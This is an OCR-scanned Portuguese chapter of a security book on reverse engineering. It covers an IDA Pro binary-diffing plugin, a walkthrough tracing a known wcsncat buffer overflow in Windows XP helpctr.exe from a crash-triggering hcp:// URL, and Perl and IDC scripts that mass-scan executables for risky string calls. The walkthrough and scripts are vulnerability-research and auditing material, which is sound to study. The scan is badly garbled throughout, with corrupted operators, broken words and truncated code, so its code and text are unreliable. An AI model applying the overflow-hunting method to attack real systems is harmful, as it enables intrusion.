if ( inf.filetype
== f _ELF ) return PLUGIN_SKIP;
II Remova o caractere de comentario da linha seguinte para ver como a
notifica~ao
funciona :
I I hook_to_notification_point(HT_UI, sample_callback, NULL);
II Remova o caractere de comentario da linha a seguir para ver como o prefixo definido pelo I I usuario funciona: I I set_user _defined_prefix(prefix_wi dth, get_user_defined_prefix); return PLUGIN_KEEP; }
ll-------------------------------------------------------------------------11 Termina. II Normalmente esse callback esta vazio. II 0 plugin deve se desvincular das listas de notifica~ao se o I I hook_to_noti fi cati on_poi nt() foi utili zado. II II IDA chamara essa fun~ao quando o usuario solicita sair. II Essa fun~ao nao sera chamada em caso de saidas de emergencia. void term(void) {
Veja aqui mais alguns arquivos de cabe~a lho e algumas variaveis globais: #include #include "resource. h" DWORD g_tempest_state = 0; LPVOID g_mapped_file = NULL; DII'ORD g_file_size = 0;
Essa fun~ao carrega urn arquivo na memoria. Esse arquivo sera utilizado como alvo para comparar com o bimirio carregado. Em geral, voce carregaria o arquivo sem patch no IDA eo compararia como arquivo que tern o patch: bool load_file( char *theFilename ) {
Essa fun~ao toma uma string de opcodes e varre o arguivo-alvo procurando esses byres. Se os opcodes nao forem localizados no alvo, o local sed. marcado como alterado. Obviamenre, essa tecnica e simples mas, em muitos casos, funciona. Devido aos problemas lisrados no inicio desta se~ao, essa abordagem pode causar problemas com falsos positives.
Varre o binario-alvo procurando a string. static char g_c [4096];
II II
Nao conhe~o nenhuma outra maneira de copiar a string de dados do banco de dados IDA?! for(DWORD i=0;i
{
g_c[i] = get_byte(theAddress + i); }
II
Temos aqui a string de opcode; LPVOID curr = g_mapped_file; DWORD sz = g_file_size;
fa~a
uma busca.
while(curr && sz) {
LPVOID tp = memchr(curr, g_c[0) , sz); if(tp) {
sz -= ((char *)tp - (char *)curr); }
if(tp && sz >= thelen) {
if(0
== memcmp(tp, g_c, thelen))
{
II
Encontramos uma correspondencia! ret = TRUE; break; }
if(sz > 1) {
curr = ((char *)tp)+l; }
else {
87
88
Como quebrar c6digos
break; }
}
else {
break; } } }
catch( ... ) {
msg(" [!] critical failure."); return TRUE; }
return ret; }
Esse thread localiza todas as fun<;oes e as compara com urn alvo binario: void __ cdecl _test(void *P) {
II Espera o sinal de inicio. while(g_tempest_state == 0) {
Sleep(l0); }
Chamamos get_func_qty() para determinar o numero de fun<;oes no binario carregado: 1/ll//11111/1/111111//11//111///11111 II Enumera todas as
fun~oes.
11/1/1/11//ll//l//lllll////lll//11111 int total_functions = get_func_qty(); int total_diff_matches
= 0;
Nos agora fazemos urn loop em cada fun<;ao. Chamamos getn_func() para obter a estrutura de cada fun<;ao. A estrutura da fun<;ao e do tipo func_t. 0 tipo ea_t e conhecido como "endere<;o efetivo" e, na verdade, e apenas urn unsigned long. Obtemos o endere<;o inicial da fun<;ao e o endere<;o final da fun<;ao a partir da estrutura da fun<;ao. Em seguida, comparamos a sequencia de bytes com o alvo binario: for(int n=0;n
II msg ("getting next function \n"); func_t *f = getn_func(n);
Capitulo 3
89
Engenharia reversa e entendimento do programa
11111111111111111111111111111111111111111111111
II II
Os endere~os iniciais e fi nais da estao na estrutura.
Se o usuario solicita uma parada, nos devemos voltar aqui. if(0 ;; g_tempest_state) return; ea_t nextea ; get_first_cref_from(myea); ea_t amloc = get_first_cref_to(nextea); ea_t amloc2 = get_next_cref_to(nextea, amloc);
II II
0 cref sera a instru~ao anterior, mas tambem verificamos se ha varias referencias. if((amloc ;; myea) && (amloc2 == BADADDR))
{
II II
Eu estava me "enroscando" nos loops; entao, adicionei esse hack para for~ar uma saida para a proxima fun~ao. if(nextea > myea) {
myea
nextea;
=
II ---------------------------------------------II Remova o caractere de comentario das proximas duas linhas para obter um I I efeito "legal" II de varredura na GUI. Parece bom mas deixa a II varredura mais lenta.
II ---------------------------------------------11 jumpto(myea); I I refresh_ i davi ew() ; }
else myea
=
BADADDR;
}
else {
II Sou um local. A referencia nao e ultima II eu tenho multiplas referencias. II Diferencie o local anterior daqui e II se nao correspondermos a
II
msg("diffing location ... \n");
fa~a
instru~ao
_ou_
um comentario
90
Como quebrar c6digos
Colocamos urn comentario em nossa dead list (utilizando add_long_cmt) se o alvo nao contem nossa string de opcode: bool pause_for_effect = FALSE; int size = myea - last_location; if(FALSE == check_target_for_string(last_location, size)) {
add_long_cmt(last_location, TRUE,
''===- - -·- ·- -- - -
-----------------= --------\n'' \
"= "" This code location differs from the target
"" =\n" \
" ===-·-=· ··=
=====
,=-==
- ===--
--\n");
msg("Found location 0x%08X that didn't match target!\n", last_location); total_diff_matches++; }
if(nextea > myea) {
myea = nextea; }
else myea = BADADDR;
II va para o pr6ximo
endere~o.
jumpto(myea); refresh_i davi ew(); }
} }
msg("Finished! Found %d locations that diff from the target. \n", total _diff_matches); }
Essa fun~ao exibe uma caixa de dialogo solicitando ao usuario urn nome do arquivo. Esta e uma elegante caixa de dialogo para selecionar arquivos: char * GetFilenameDialog(HWND theParentWnd) {
Como em todas as caixas de dialogo "feitas em casa", precisamos de DialogProc para processar mensagens do Windows: BOOL CALLBACK MyDialogProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam) {
II Metodo de plugin. II II Essa e a fun~ao principal de plugin. II II Sera chamada quando o usuario selecionar o plugin. II Arg - argumento de entrada. Pede ser especificado no II II arquivo plugins.cfg. 0 padrao e zero. II II
Capitulo 3
Engenharia reversa e entendimento do programa
93
A fun~ao run e chamada quando o usuario ativa o plugin. Nesse caso, iniciamos alguns threads e postamos uma mensagem curta na janela de log: void run(int arg) {
II Teste . msg("starting diff scanner plugin\n"); _beginthread(_test, 0, NULL); _beginthread(_test2, 0, NULL); }
Esses itens de dados globais sao utilizados pelo IDA para exibir as sobre o plugin . 11-------------------------------------------------------------------------char comment[] = "Di ff Scanner Pl ugi n, written by Greg Hoglund (MYW. rootkit. com)"; char help[) = "A plugin to find diffs in binary code\n" "\n" "This module highlights code locations that have changed. \n" "\n";
11-------------------------------------------------------------------------II Esse e o nome preferido do modulo de plugin no sistema de menu. II 0 nome preferido pede ser ignorado no arqui vo plugins.cfg.
char wanted_name []
=
"Di ff Scanner";
II Essa e a tecla de atalho preferida para o m6dulo de plugin. II A tecla de atalho preferida pede ser ignorada no arquivo pl ugins .cfg. II Nota: 0 IDA nao ira informar se tecla de atalho nao esta correta. II Ele ira simplesmente desativar a tecla de atalho. char wanted_hotkey[]
//-------------------------------------------------------------------------extern "C" plugi n_t PLUGIN = { IDP_INTERFACE_VERSION, 0, II Flags (indicadores) de plugi n. i nit , II Iniciali za. term,
II Termina . Esse ponteiro pede ser NULL .
informa~oes
94
Como quebrar c6digos
run,
II
comment,
II Comentario longo sobre o plugin II Poderia aparecer na linha de status II ou como uma dica.
help,
II
Ajuda multilinha sobre o plugin
wanted_name, wanted_hotkey
II II
Nome curto preferido do plugin Tecla de atalho preferida para executar o plugin
Chama o plugin.
};
Descompilando e desassembando software A descompila~ao e o processo de transformar urn executavel binario - ou seja, urn programa compilado- em uma linguagem simb6lica de nfvel mais alto, mais facil de entender. Normalmente significa transformar urn executa vel de programa em c6digofonte, em uma linguagem como o C. A maioria dos sistemas de descompila~ao nao consegue transformar diretamente em 100% c6digo-fonte. Em vez disso, eles normalmente fornecem urn tipo de represen ta~ao intermediaria "quase perfeita". Muitos compiladores reverses sao, na verdade, disassemblers que fornecem urn dump do c6digo de maquina que faz 0 programa funcionar. Provavelmente o melhor descompilador disponfvel para todos e chamado IDAPRO. 0 IDA come~a com a desassemblagem do c6digo do programa e, em seguida, analisa o fluxo de programa, as variaveis e chamadas de fun~ao. 0 IDA e diffcil de utilizar e requer urn conhecimento avan~ado sobre o comportamento do programa, mas o seu nfvel tecnico reflete a verdadeira natureza da engenharia reversa. 0 IDA fornece uma API completa para manipular o banco de dados do programa, para que OS usuaries possam reaiizar uma analise personaiizada. Tambem ha outras ferramentas. Urn programa de c6digo fechado, mas gratuito, chamado REC, proporciona 100% de recupera~ao do c6digo-fonte em C para certos tipos de executaveis binaries. 0 WDASM eoutro disassembler comercial. Ha varios descompiladores de bytecodes Java que proporcionam o c6digo-fonte em Java (urn processo muito menos complicado do que descompilar o c6digo de maquina dos chips da Intel). Esses sistemas tendem a ser muito precisos, mesmo quando sao aplicadas tecnicas simples de disfarce. Ha projetos de c6digo-fonte aberto tambem nessa ' area, que OS leitores interessados podem pesquisar. E sempre born ter varios descompiladores na sua caixa de ferramentas quando voce esta interessado em entender os programas. Os descompiladores sao bastante utilizados no submundo da informatica para quebrar esquemas de prote~ao contra c6pias. Esse fato deu as ferramentas uma rna reputa~ao imerecida. Einteressante ressaltar que o hacking e a pirataria de software eram amplamente independentes nos prim6rdios do submundo da informatica. 0
Capitulo 3
Engenharia reversa e entendimento do programa
95
hacking desenvolvido em ambientes de UNIX, no qual o software era gratuito e o c6digo-fonte esrava disponfvel, fez com que a descompila\=ao se tornasse menos necessaria. A pirataria de software, por outro !ado, foi desenvolvida principalmente para quebrar jogos de computador e a partir daf ficou restrita principalmente a Apples, DOS e Windows, cujo c6digo-fonre normalmenre nao estava disponivel. A industria do virus se desenvolveu junto como movimento da pirataria. No final da decada de 1990, as disciplinas de hacking e cracking se mesclaram conforme uma quantidade maior de software de rede ficou disponivel para Windows e os hackers aprenderam a quebrar softwares de Windows. 0 enfoque atual da descompila\=aO esta mudando, passando da quebra de prote\=ao contra c6pias para a auditoria de software, procurando bugs exploraveis. Os mesmos truques estao sendo utilizados novamente, mas em urn novo ambiente. Descompila~ao
na pratica: Revertendo he1 pctr. exe
0 exemplo a seguir mostra uma sessao de engenharia reversa para he 1pet r. exe, urn programa da Microsoft fornecido juntamente com o Windows XP. 0 programa tern uma vulnerabilidade de seguran\=a conhecida como buffer overflow. Essa vulnerabilidade especifica foi divulgada ha bastanre tempo; portanto, mostra-la aqui nao representa uma verdadeira ameac;a aseguranc;a. 0 importante para nossos objetivos e descrever o processo de revelar a falha por meio da engenharia reversa . Utilizamos o IDA-PRO para desassemblar o software-alvo. 0 programa-alvo produz urn arquivo especial de depurac;ao chamado log de Dr. Watson. Utilizamos somente o IDA e as informac;oes no log de depura\=ao para localizar o erro exato de codificac;ao que causou o problema. Observe que nao ha nenhum c6digo-fonte publicamente disponfvel para o software-alvo. A Figura 3.4 mostra o IDA em a\=ao. Relatorlo de bug
Aprendemos sobre essa vulnerabilidade como a maioria das pessoas aprende: lendo urn relat6rio de bug postado na bugtraq, uma lista de discussao do seror de seguranc;a, em que os problemas de seguranc;a sao debatidos. 0 relat6rio revelou apenas detalhes sem importancia sobre o problema. Principalmente, o nome do executavel e a entrada que causou a falha. 0 relat6rio revelou que, quando o URL: hcp// w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w. efornecido ao Internet Explorer, causou o lan~amento de helpctr.exe. 0 URL faz isso provocando uma exce<;ao de aplicativo (que pode ser acionada remotamente por meio de urn navegador da Web). Recriamos a falha utilizando o URL como entrada em urn ambiente de Windows XP. Urn log de depurac;ao e criado pelo SO e, em seguida, copiamos o log de depurac;ao eo binario do helpctr.exe para uma maquina separada, para analisar. Observe que utilizamos uma maquina com Windows NT mais antigo para analisar esse bug. 0 ambiente original de XP nao e mais necessaria depois que induzimos o erro e coletamos os dados de que precisamos.
96
Como quebrar c6digos
~ lOA - Help{:".exe
-
tie tdt li>'P Se..,
~I !OJI ~ ~l &'1ll
I•INI>sl ""I
IDA V . . - j .id t :0100160 ldlt>:Q101t160
ext t·n
; DATA XRU:
tr :dtJOt'd
ub. 1P,377$•1qr·
SUh 10n38n0•2'ftj.l' n • onrn XHH: .tNtl ;U1DII?/Iit:lt'
. i d.lt:. : 1J I 001688
• io t :0100160<
extt·n
• 1d.1l a: Ut UU16CO • i .,,,, ,, : o1nnt6r.n
extt·n
vtol : CI~Ot'd ·"''P" I ut f :chtnt·d
•
; DATA XRCf: sub 10'oAHS•OS,o· DAJA XRH: s.ub 1U1tl11•1•1lU!t
.uh
lh1R.I)II•IIOj.r ••.
. idata:OI0016C .. iddtcl:U1UU161:
. i 11.1l .r: 0 I 00 16C8
; h:fJJUt't!>
ft·un tiSJIIG32 .tl ll
• id.Jl a: Q IQOI6C
.io•ta:010016C8 - i rl.lt ,) : 111 011161:
COOL _stdtall Co·aoientfill( II DC ,PTA I VERTEX ,ULOHC . PUOI 0 ,ULOIIC ,ULOHC) ex tt"n r.r.1c11 PntJ i J 1 : dltord ~ DO 1 n XHt f : r.ub 111nz.~ tr?•tl9l text:ll016MO'r
Figura 3.4 : Uma captura de tela do IDA-PRO desassemblando o programa he 1pet r . exe, que esta inclufdo no Windows XP da Microsoft. Como exercfcio, exploramos o he1pctr . exe procurando uma vulnerabilidade de buffer overflow.
Log de depura~io Urn dump de depura~ao e criado quando o programa trava. Urn rastreamento de pilha eincluido nesse log, a fim de nos dar uma dica sobre a localiza~ao do c6digo defeituoso: 0006f8ac 0100b4ab 0006f8d8 00120000 00000103 msvcrt !wcsncat+0xle 0006fae4 0050004f 00120000 00279b64 00279b44 HelpCtr+0xb4ab 0054004b 00000000 00000000 00000000 00000000 0x50004f
0 culpado parece ser a fun~ao de concatena~ao de string, chamada wcsncat. 0 dump de pilha claramente mostra nossa string de URL (relativamente simples e diretO). Pode-se ver que a string de URL domina o espa~o de pi lha e, dessa forma, extravasa os outros valores:
C.:.\.W.I.N .O.O. W.S.\.P.C.H.e.a. l .t .h.\ .H.e.l.p. C. t . r .\ .V.e . n.d . o. r. s.\.w . . . w. . . w. . . w. . .w. . . w. . . w• • •w. . .w. .. w. . . w... IY • • • w... w.. . w••• w... w... w.. . w.•• w. . .w. . . w.. . w... w.. .w... w.. . w••• w ••• w... w••• w.•. w... w. . . w• .• w. . •w. . .w... w. . . w... w ..• w... w.. . w. . . w. . . w. .. w. . . w. . . w. . . w. . . w. . .
Sabendo que o wcsncat eo possfvel culpado, seguimos em frente com a ancllise. Usando o IDA, podemos ver que o wcsncat e chamado a partir de dois locais: . i data: 01001004 . i data : 01001004
extrn wcsncat:mvord
; DATA XREF: sub_100B425+620r ; sub_100B425+770r ...
0 comportamento do wcsncat esimples e direto e pode ser obtido em urn manual. A chamada aceita tres parametros:
1. Urn buffer de destino (ponreiro de buffer) 2. Urna string de origem (fornecida pelo usm1rio) 3. Urn numero maximo de caracteres para acrescentar 0 buffer de destino deve ser suficientemente grande para arrnazenar todos os dados que estao sendo acrescentados. (Mas, nesse caso, observe que os dados sa.o fornecidos por urn uswirio externo, que pode ter rna inten<;ao.) E' por isso que o ultimo argumento permite ao programador especificar o comprimento maximo para acrescentar. 0 buffer e como urn copo de urn determinado tamanho, e a sub-rotina que estamos chamando e como um metodo de adicionar lfquido ao copo. 0 ultimo argumento tern 0 objetivo de garantir que 0 copo nao "extravase". Ern he1pctr . exe, e feita urn a serie de chamadas a wcsncat de dentro da subrotina com defeito. 0 diagrama a seguir mostra o comportamento de varias chamadas a wcsncat. Pressuponha que o buffer de destino tem um comprimento de 12
98
Como quebrar c6digos
caracteres e que ja inserimos a string ABCD. Assim, resta urn total de oito caracteres, incluindo o caractere NULL de encerramento. wcsncat(target_buffer,
A
"ABCD", 11);
8
C
D
\0
?
?
?
?
?
?
?
·----------, -----------., I
I I 1 1
I
Buffer de : destine
Caractere NULL 1 : : de encerramento :
I
I I
I
1
----------- "--------- - -
Agora fazemos uma chamada a wcsncat() e acrescentamos a string EF. Como mostra o diagrama a seguir, a string e acrescentada ao buffer de destino, come~ando no caractere NULL. Para proteger o buffer de destino, devemos especificar que sete caracteres, no maximo, podem ser acrescentados. Se o caractere NULL de encerramento for incluido, atingimos urn total de oito. Qualquer entrada a mais excedera o final do buffer, e teremos urn buffer overflow. wcsncat(target_buffer,
"EF", 7);
.----------I
1
String de origem :
--- -- - - - -
' if E
F
\0
if
A
c
8
D
' E
F
\0
?
?
?
?
?
'
--------- --------------- ' 1
1
Wcsncat insere a string de origem no buffer de destine, come~ndo no caractere NULL.
•-----------------------lnfelizmente, na sub-rotina defeituosa dentro de hel pctr . exe, o programador cometeu urn erro sutil, mas fata l. Sao feitas varias chamadas a wscncat() mas o valor
Capitulo 3
99
Engenharia reversa e entendimento do programa
do comprimento maximo nao e recalculado nunca. Em outras palavras, OS varios acrescimos nunca sao contabilizados no espac;o remanescente do buffer de destino, que diminui constantemente. 0 copo esta ficando cheio, mas ninguem esta percebendo que estao despejando mais llquido. Em nossa ilustrac;ao, isso seria como acrescentar EFGHIJKLMN ao buffer do exemplo, utilizando o comprimento maximo de 11 caracteres (12 incluindo o NULL). 0 valor correto deve ser de sete caracteres no maximo, mas nunca corrigimos isso e acrescentamos alem do limite do nosso buffer. wcsncat(target_buffer,
"EFGHIJKLMN", 11);
,-----------------~ I I
: String de origem mais tonga : 1 que o espa90 restante no buffer 1
--------- --------' E
It
F
G
H
I
J
K
L
It
A
8
c
D
M
N
\0
It
\0
?
?
?
?
?
?
? I
I'
--- ----, Buffer overflow ____ ____....
A Figura 3.5 mostra urn grafico da sub-rotina em he1 pctr. exe que faz essas chamadas. Urn engenheiro de reversao muito born consegue localizar e decodificar em 10 a 15 minutos a 16gica que causa esse problema. Urn engenheiro de reversao mediano pode conseguir fazer a reversao da rotina em aproximadamente uma hora. A subrotina comec;a verificando se nao foi passado urn buffer NULL. Esse eo primeiro desvio de JZ. Se o buffer e valido, podemos ver que o 103h esta sendo configurado em urn registrador. lsso significa 259 em decimal - significa que temos urn tamanho maximo de buffer de 259 caracteres. 13 0 bug esta aqui. Vemos que esse valor nunca e atualizado durante as sucessivas chamadas de wcsncat. Strings de caracteres sao acrescentadas ao buffer-alvo varias vezes, mas o comprimento maximo permitido nunca e reduzido adequadamente. Esse tipo de bug e muito tfpico ao analisar sintaticamente os problemas freqiientes no c6digo. De modo geral, a analise envolve a analise lexica 13. 0 tamanho real do buffer eo dobro disso (518 bytes), porque estamos trabalhando com caracteres largos. No entanto, isso nao importa para a questao atual.
100
Como quebrar c6digos
. .. ' .. . ' '
'
...
'
-- -... -- ..,.,_ -- -.... ... -·"'
~ . J{(t.
""" r;:: ,..., "" ....
~·
- · ("vfil"I-J
!.":'l'.i!J
..,_, g_..,._Td'r (~_6),
6
""
"" ...
- · (~Ucu,..)
1'
"u\ J« .. t~
(~.ro..l), ~ ·
"" _..... .., "", •»· l.(tl
'
........ ~·
""' "'
- · pv feto......,..·U 1¥4 (~. O: fffJ..f 1«.. ~
• I
Figura 3.5:
.J c:.•
OCXJ.f?S mlE
"" """
vt.
ott~.._~, ·
edf .,.
I~\
--... -~
[~~0] '!1M. (~h l~)
ca.n
edt ;
""
..,,
"" ~·
J
"'
• · (...,H• .:..eo)
"'
--
lr..!lt'Qil'
e!l), lO'>
(ttvF H~U.}
•o.tUOC27lA
•
1"' t 'tl'~
al, • l
'"'-""""'
Urn gratico simples da sub-rotina em he 1 pet r. exe que faz chamadas a wcsncat ().
e sint~itica das strings fornecidas pelo usuario, mas, infelizmente, muitas vezes ela nao consegue manter a aritmetica adequada do buffer. Qual e a conclusao fina l a qual chegamos aqui? Uma variavel fornecida pelo usuario - no URL utilizada para explorar he1 pctr. exe - e passada a essa subrotina, que subseqiientemente utiliza os dados em uma serie falha (buggy) de chamadas de concatena~ao de string. Outro problema de seguran~a no mundo que e causado por urn codigo malfeito! Deixamos urn explo it que da origem a urn comprometimento da maquina como urn exercfcio para voce fazer.
Auditorla automatlca em massa de vulnerabllldades Claramente, a engenharia reversa e uma tarefa demorada e urn processo que nao rende bern. Ha muitos casos em que a engenharia reversa para bugs de seguranc;a seria importante, mas quase nao ha tempo suficientemente para analisar todos os
Capitulo 3
Engenharia reversa e entendimento do programa
101
componentes de urn sistema de software como n6s fizemos na se~ao anterior. Mas uma das possibilidades e a analise automatizada. 0 IDA fornece uma plataforma para adicionar os seus pr6prios algoritmos de analise. Escrevendo urn script especial para o IDA, podemos automatizar algumas das tarefas necessarias para encontrar uma vulnerabilidade. Aqui, damos um exemplo de analise de caixa-branca estrita. 14 Voltando ao exemplo anterior, suponha que queremos localizar outros bugs que podem envolver a (rna) utiliza~ao de wcsncat. Podemos usar urn utilitario chamado dumpbi n no Windows, que mostra quais chamadas sao importadas por urn executa vel: dumpbi n /imports target. exe
Para fazer a auditoria em massa de todos os executaveis de urn sistema, podemos escrever um pequeno script em Perl. Primeiro, erie uma lista de executaveis para analisar. Utilize o di r comando da seguinte forma: di r /B /S c: \wi nnt\*. exe > files. txt
Esse comando cria arquivo grande de saida, com todos os arquivos executaveis do diret6rio WINNT. Em seguida, o script Perl chamara dumpbi n em cada arquivo e analisara os resultados para determinar se wcsncat esta sendo utilizado: open(FILENAMES, "files. txt"); whi 1e () {
14. Trata-se de uma analise de caixa-branca (e niio caixa-preta) porque estamos olhando para "dentro" do programa para descobrir o que esta acontecendo. As abordagens de caixa-preta traram urn programaalvo como uma caixa opaca (niio-transparenre) que s6 pode ser investigada externamente. As abordagens de caixa-branca (independentemente de c6digo-fonte estar disponivel ou niio) "entram" na caixa.
102
Como quebrar c6digos
A
execu~ao
desse script em urn sistema no laborat6rio produz a seguinte safda:
Podemos ver que varios dos programas no Windows NT estao urilizando wcsncat. Com urn pouco de tempo, podemos auditar esses arquivos para determinar se tern problemas semelhantes ao programa de exemplo que ja mostramos. Tambem poderiamos examinar as DLLs que utilizam esse metodo e gerar uma lista muito maior: C:\temp>dir /8 /5 c:\winnt\*.dll > files.txt C: \temp>perl scan.pl c:\winnt\SYSTEM32\AAAAMON.DLL:
Ji mostramos como escrever urn modulo de plugin para o IDA. 0
IDA tambem oferece suporte a uma linguagem de cria~ao de scripts. Os scripts sao chamados scripts IDC e, as vezes, podem ser mais pniticos que a utiliza~ao do plugin. Podemos realizar uma analise de lote com a ferramenta IDA-PRO utilizando urn script de IDC da seguinte forma: c:\ida\idaw -Sbatch_hunt. ide -A -c c:\winnt\notepad.exe
com o proprio arquivo de script IDC muito basico que mostramos aqui: #inc1ude
/1---------------------------------------------------------------static main(void) { Batch(l); I* travara se arquivo de banco de dados existi r ,,; Wait(); Exit(0); }
Como outro exemplo, considere a analise de lote para as chamadas de spri ntf. 0 script Perl chama o IDA utilizando a linha de comando: open(FILENAMES, "files.txt"); whi 1e () {
I* sai logo se executarmos em um c6digo de retn *I if(strstr(j, "retn") ;; 0) return; I* push e o argumento para a chamada de sprintf *I i f(strstr(j, "push") ;; 0) {
auto my _reg; auto max_backtrace; ep ; eb; f* salva nosso lugar
*I
I* volta para descobri r o parametro ,,1 my_reg = GetOpnd(eb, 0); fprintf(output_file, "push number %d, %s\n", param_count , my_reg); max_backtrace = 10; while(1)
I* nao retrocece (backtrace) mais que 10 passos *I
{
auto x; auto y; eb = FindCode(eb, 0); I* x = GetOpnd(eb, 0); if ( X ! = -1 )
para tras *I
{
if(strstr(x, my_reg) == 0) {
auto my_src; my_s rc = GetOpnd(eb, 1); 1,, o param 3 e o buffer-alvo *I if(3 == param_count) {
auto my_loc; auto my_sz; auto frame_sz; my_loc = PrevFunction(eb); fprintf(output_file, "detected
105
106
Como quebrar c6digos
subroutine 0x%x\n", my_loc); my_sz = GetFrame(my_loc); fprintf(output_file, "got frame %x\n", my_sz); frame_sz = GetFrameSize(my_loc); fprintf(output_file, "got frame size %d\n", frame_sz); kilLframe_sz = GetFramelvarSi ze(my_loc) ; fprintf(output_file, "got frame lvar size %d\n" , kill_frame_sz) ; my_sz = GetFrameArgsSize(my_loc); fprintf(output_fi le, "got frame args size %d\n", my_sz); I* esse e o buffer-alvo *I fprintf(output_file, "%s is the target buffer, in frame size %d bytes\n", my_src, frame_sz); }
I•• o par am 1
==
if(1
eo
buffer de origem "I param_count)
{
fp ri ntf(output_fi le, "%5 is the source buffer\n", my_src); if(-1 != strstr(my_src, "arg")) {
fprintf(output_file, "%5 is an argument that will overflow if larger than %d bytes!\n" , my_src, kill _frame_sz); } }
break; }
}
max_backtrace--; if(max_backtrace == 0)break; }
eb = ep; I* volte para onde iniciamos e siga para o proximo parametro *I param_count--; if(0 == param_count) {
Capitulo 3
Engenharia reversa e entendimento do programa
107
fpri ntf(output_file, "Exhausted all parameters\n"); return; } }
fpri ntf(ou t put_file, "FINISHED at address 0x%x\n---------------------------------------------\n", last _address); fcl ose(output_fi l e); Exit(0); }
A safda produzida por esse arquivo de lote simples e colocada em urn arquivo chamado repo r t _out . t xt para analise posterior. 0 arquivo esemelhante a isso: Filename : C:\reversing\of1.idb HUNTING FROM 401000 TO 404000 Found sprintf call at 0x401012 - checking push number 3, ecx detected subroutine 0x401000 got f rame ff00004f got frame size 32 got frame lvar size 28 got frame args size 0 [esp+1Ch+var_1C] is the target buffer, in frame size 32 bytes push number 2, offset unk_403010 push number 1, eax [esP+arg_0] is the source buffer [esP+arg_0] is an argument that will overflow if l arger than 28 bytes! Exhausted all parameters Found sprintf call at 0x401035 - checking push number 3, ecx detected subroutine 0x401020 got frame ff000052 got f rame s i ze 292 got f rame lvar size 288 got frame args size 0 [esp+120h+var_120] is the target buffer , in frame size 292 bytes push number 2, offset aSHh push number 1, eax [esP+arg_0] is t he source buffer [esP+arg_0] is an argument that wi l l overflow if larger than 288 bytes! Exhausted all parameters FINISHED at address 0x4011b6
Capitulo 3
Engenharia reversa e entendimento do programa
109
Filename: C:\winnt\MSAGENT\AGENTCTL.idb HUNTING FROM 74c61000 TO 74c7a460 Found sprintf call at 0x74c6e3b6 - checking push number 3, eax detected subroutine 0x7 4c6e2f9 got frame ff000eca got frame size 568 got frame lvar size 552 got frame args size 8 [ebp+var_218] is the target buffer, in frame size 568 bytes push number 2, offset aD__2d push number 1, eax [ebp+Var_21C] is the source buffer Exhausted all parameters
Pesquisando as chamadas de func;ao, vemos uma chamada suspeita de 1strcpy(). A analise autom::ltica de uma grande quantidade de c6digo e urn truque comum para procurar boos pontos de partida e se mostra muito uti! na pratica.
Escrevendo suas proprias ferramentas de cracking A engenharia reversa e, em grande parte, urn esporte tedioso que e formado por milhares de passos pequenos e enormes quantidades de informac;oes. A mente humana nao consegue gerenciar todos os dados necessaries para fazer isso de uma forma razoavel. Se voce e como a maioria das pessoas, ira precisar de ferramentas para ajuda-lo a gerenciar todos os dados. Ha uma grande quantidade de ferramentas de depurac;ao disponfveis no mercado e na forma de freeware mas, infelizmente, a maioria delas nao oferece uma soluc;ao completa. Por isso, e prov::lvel que voce precise criar suas pr6prias ferramentas. Coincidentemente, criar ferramentas e uma excelente forma de aprender sobre software. A criac;ao de ferramentas requer a verdadeira compreensao da arquitetura de software - e, sobretudo, de como o software tende a se estruturar em memoria e como o heap e pilha funcionam. Aprender por meio da criac;ao de ferramentas e mais eficiente do que adotar uma abordagem de fors:a bruta utilizando lapis e papel. Suas habilidades ficarao mais agus:adas por meio da crias:ao de ferramentas, e a etapa larval (o periodo de aprendizagem) nao sera tao longa . Ferramentas do x86 0 processador mais comum na maioria das estac;oes de trabalho e, aparentemente, a famflia x86 da Intel, que engloba os chips 386, 486 e Pentium. Outros fabricantes tambem fazem chips compatfveis. Os chips sao uma famflia porque tern um subconjunto
110
Como quebrar c6digos
de recursos em comum em todos os processadores. Esse subconjunto echamado "conjunto de recursos x86". Urn programa que esta sendo executado em urn processador x86 normalmente tern uma pilha, urn heap e urn con junto de instruc;oes. 0 processador x86 tern registradores que concern enderec;os de memoria. Esses enderec;os indicam o local da memoria onde residem as estruturas de dados importances.
0 depurador baslco do x86 A Microsoft fornece uma API de depurac;ao para Windows relativamente facil de utilizar. A API permite acessar eventos de depurac;ao a partir de urn programa em modo de usuario utilizando urn loop simples. A estrutura do programa e bern simples: DEBUG_ EVENT dbg_evt; m_hProcess = OpenProcess(
_error_out( "Conti nueOebugEvent fai led\n") ; break; } }
Capitulo 3
Engenharia reversa e entendimento do programa
111
el se {
II Ignora erros de tempo-limite. int err= GetlastError(); if(l21 != err) {
_error_out( "WaitForDebugEvent fai 1ed\n"); break; } }
II Sai se o depurador for desativado. if(FALSE == mDebugActive) {
break; } }
RemoveAllBreakPoints();
Esse c6digo mostra como voce pode se conectar a urn processo ja em execu~ao. Tambem e posslvel carregar urn processo em modo de depura~ao. De qualquer forma, o loop de depura~ao e o mesmo: Voce simplesmente espera os eventos de depu.ra~ao. 0 loop continua ate que haja urn erro ou o flag (indicador) mDebugActive seja definido como TRUE. Em todo caso, ao sair do depurador, ele se desconecta automaticamente do processo. Se voce estiver trabalhando no Windows XP, o depurador e desconectado eo processo-alvo pode continuar a executar. Se voce estiver em uma versao rnais antiga do Windows, a API do depurador ira rnatar o paciente (o processo-alvo rnorre). Corn certeza, e muito irritante o fato de a API de dep u ra~ao elirninar o processo-alvo ao desconectar! Na opiniao de algumas pessoas, esse foi urn defeito grave no projeto da API de depura~ao da Microsoft, que deveria ter sido corrigido na versao 0.01. Felizmente, isso foi finalmente corrigido na versao Windows XP.
Sobre breakpoints Os breakpoints sao fundarnentais para a depura~ao. Em outra parte do livro voce encontrara referencias as tecnicas-padrao de breakpoints. Pode-se emitir urn breakpoint por rneio de uma instru~ao simples. A instru~ao-padrao de breakpoint no x86 parece ser a interrup~ao 3. 0 lado positivo da interrup~ao 3 e que ela pode ser codificada como urn unico byte de dados. Isso significa que ela pode ser colocada corn urn patch no c6digo ja existente, corn pouca preocupa~ao em rela~ao aos bytes de c6digo adjacentes. Esse breakpoint efacil de configurar em c6digo, copiando o byte original para urn local seguro e substituindo-o pelo byte 0xCC. As instru~oes de breakpoint as vezes sao amontoadas em blocos e gravadas em regioes invalidas da memoria . Portanto, se o programa pular "acidentalmente" para
Como quebrar c6digos
112
